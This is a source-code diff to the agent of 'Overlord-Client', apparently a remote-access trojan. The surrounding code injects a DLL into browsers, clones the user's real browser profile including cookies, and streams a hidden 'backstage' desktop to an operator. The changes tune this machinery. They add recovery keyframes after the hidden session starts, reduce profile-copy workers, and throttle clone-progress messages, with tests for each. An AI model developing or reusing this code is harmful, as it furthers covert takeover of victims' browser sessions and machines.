diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index 3c642ab..6db0a2c 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -240,6 +240,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by return err } notify("launch", true, fmt.Sprintf("process started (PID %d)", pid)) + RequestDesktopFullFrame() if info.needsPatch && pid != 0 { go func() { defer recoverAndLog("backstage patch opera", nil) @@ -262,7 +263,9 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by } notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData)) + RequestDesktopFullFrame() cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress) + RequestDesktopFullFrame() if err != nil { notify("clone", false, fmt.Sprintf("profile clone failed: %v", err)) return fmt.Errorf("profile clone failed: %v", err) @@ -298,6 +301,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by return err } notify("launch", true, fmt.Sprintf("process started (PID %d)", pid)) + RequestDesktopFullFrame() if info.needsPatch && pid != 0 { go func() { defer recoverAndLog("backstage patch opera", nil) @@ -736,7 +740,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr os.MkdirAll(d, 0700) } - const numWorkers = 8 + const numWorkers = 2 jobCh := make(chan copyJob, 256) var wg sync.WaitGroup var copiedBytes atomic.Int64 diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 3b7cf4d..c238644 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -496,22 +496,23 @@ var ( lastKeyframe atomic.Int64 fullNextFrames atomic.Int64 - statFrames atomic.Int64 - statCapNs atomic.Int64 - statEncNs atomic.Int64 - statSendNs atomic.Int64 - statTotalNs atomic.Int64 - statBytes atomic.Int64 - statDetectNs atomic.Int64 - statMergeNs atomic.Int64 - statBlkJpegNs atomic.Int64 - statPrevCopyNs atomic.Int64 - statFullFrames atomic.Int64 - statBlockFrames atomic.Int64 - statKeepaliveFrames atomic.Int64 - statBlockRegions atomic.Int64 - statBlockFallbacks atomic.Int64 - statFrameSlotSkips atomic.Int64 + desktopRecoveryAfterBackstageStart atomic.Bool + statFrames atomic.Int64 + statCapNs atomic.Int64 + statEncNs atomic.Int64 + statSendNs atomic.Int64 + statTotalNs atomic.Int64 + statBytes atomic.Int64 + statDetectNs atomic.Int64 + statMergeNs atomic.Int64 + statBlkJpegNs atomic.Int64 + statPrevCopyNs atomic.Int64 + statFullFrames atomic.Int64 + statBlockFrames atomic.Int64 + statKeepaliveFrames atomic.Int64 + statBlockRegions atomic.Int64 + statBlockFallbacks atomic.Int64 + statFrameSlotSkips atomic.Int64 desktopOverrideQuality atomic.Int64 backstageOverrideQuality atomic.Int64 @@ -655,6 +656,19 @@ func RequestDesktopFullFrame() { RequestDesktopH264Keyframe() } +func RequestDesktopRecoveryAfterBackstageStart() { + desktopRecoveryAfterBackstageStart.Store(true) +} + +func recoverDesktopAfterBackstageFrame(dataLen int) bool { + if dataLen == 0 || !desktopRecoveryAfterBackstageStart.Swap(false) { + return false + } + log.Printf("capture: backstage stream active; requesting desktop recovery frame") + RequestDesktopFullFrame() + return true +} + func SetDesktopSoftwareH264(enabled bool) { if desktopSoftwareH264.Swap(enabled) == enabled { return @@ -1813,6 +1827,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error { fps = 1 } frame.Header.FPS = fps + recoverDesktopAfterBackstageFrame(len(frame.Data)) if ctx.Err() != nil { if slotAcquired { @@ -1863,6 +1878,7 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram fps = 1 } frame.Header.FPS = fps + recoverDesktopAfterBackstageFrame(len(frame.Data)) if ctx.Err() != nil { return nil } @@ -1961,6 +1977,7 @@ func captureAndSendbackstage(ctx context.Context, env *rt.Env) error { fps = 1 } frame.Header.FPS = fps + recoverDesktopAfterBackstageFrame(len(frame.Data)) if ctx.Err() != nil { if slotAcquired { diff --git a/Overlord-Client/cmd/agent/capture/h264_codec_test.go b/Overlord-Client/cmd/agent/capture/h264_codec_test.go index 4c87d4a..329ea5d 100644 --- a/Overlord-Client/cmd/agent/capture/h264_codec_test.go +++ b/Overlord-Client/cmd/agent/capture/h264_codec_test.go @@ -194,6 +194,24 @@ func TestDesktopAndBackstageH264EncodeConcurrently(t *testing.T) { } } +func TestBackstageFirstFrameRequestsDesktopRecoveryOnce(t *testing.T) { + desktopRecoveryAfterBackstageStart.Store(false) + t.Cleanup(func() { + desktopRecoveryAfterBackstageStart.Store(false) + }) + + RequestDesktopRecoveryAfterBackstageStart() + if recoverDesktopAfterBackstageFrame(0) { + t.Fatal("empty backstage frame consumed desktop recovery request") + } + if !recoverDesktopAfterBackstageFrame(1) { + t.Fatal("first completed backstage frame did not request desktop recovery") + } + if recoverDesktopAfterBackstageFrame(1) { + t.Fatal("desktop recovery request was not consumed exactly once") + } +} + func TestBlockCodec_UsesEnvWhenNoOverride(t *testing.T) { prev := os.Getenv(blockCodecEnv) if err := os.Setenv(blockCodecEnv, "raw"); err != nil { diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index abd8388..8abe39c 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -45,6 +45,22 @@ var ( fileHashSlots = make(chan struct{}, 2) ) +const cloneProgressMinInterval = 100 * time.Millisecond + +type cloneProgressLimiter struct { + lastSent time.Time +} + +func (l *cloneProgressLimiter) allow(now time.Time, copiedBytes int64, status string) bool { + initial := status == "scanning" || (status == "cloning" && copiedBytes == 0) + terminal := status == "done" || strings.HasPrefix(status, "done_with_errors|") + if !initial && !terminal && !l.lastSent.IsZero() && now.Sub(l.lastSent) < cloneProgressMinInterval { + return false + } + l.lastSent = now + return true +} + type backstageInputKind int const ( @@ -1117,6 +1133,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in VirtualMode = v } } + capture.RequestDesktopRecoveryAfterBackstageStart() if VirtualMode { env.VirtualMu.Lock() if env.VirtualCancel != nil { @@ -2063,7 +2080,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in goSafe("backstage_start_browser_injected", nil, func() { var onProgress capture.CloneProgressFunc if clone { + var limiter cloneProgressLimiter onProgress = func(percent int, copiedBytes, totalBytes int64, status string) { + if !limiter.allow(time.Now(), copiedBytes, status) { + return + } _ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{ Type: "backstage_clone_progress", Browser: browser, @@ -2106,6 +2127,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in autoStartExplorer = v } } + capture.RequestDesktopRecoveryAfterBackstageStart() env.VirtualMu.Lock() if env.VirtualCancel != nil { env.VirtualCancel() diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher_test.go b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go index 5efa069..b3232bc 100644 --- a/Overlord-Client/cmd/agent/handlers/dispatcher_test.go +++ b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go @@ -148,6 +148,27 @@ func TestHandlePingFallsBackForInvalidTimestamp(t *testing.T) { } } +func TestCloneProgressLimiterProtectsFrameTraffic(t *testing.T) { + var limiter cloneProgressLimiter + now := time.Unix(100, 0) + + if !limiter.allow(now, 0, "scanning") { + t.Fatal("initial scan progress was suppressed") + } + if !limiter.allow(now, 0, "cloning") { + t.Fatal("initial clone progress was suppressed") + } + if limiter.allow(now.Add(time.Millisecond), 1, "copying|Default\\Cookies") { + t.Fatal("high-frequency file progress was not suppressed") + } + if !limiter.allow(now.Add(cloneProgressMinInterval), 100, "cloning") { + t.Fatal("periodic clone progress was suppressed") + } + if !limiter.allow(now.Add(cloneProgressMinInterval+time.Millisecond), 100, "done") { + t.Fatal("terminal clone progress was suppressed") + } +} + func TestHandleCommand_Ping(t *testing.T) { writer := &testWriter{} env := &rt.Env{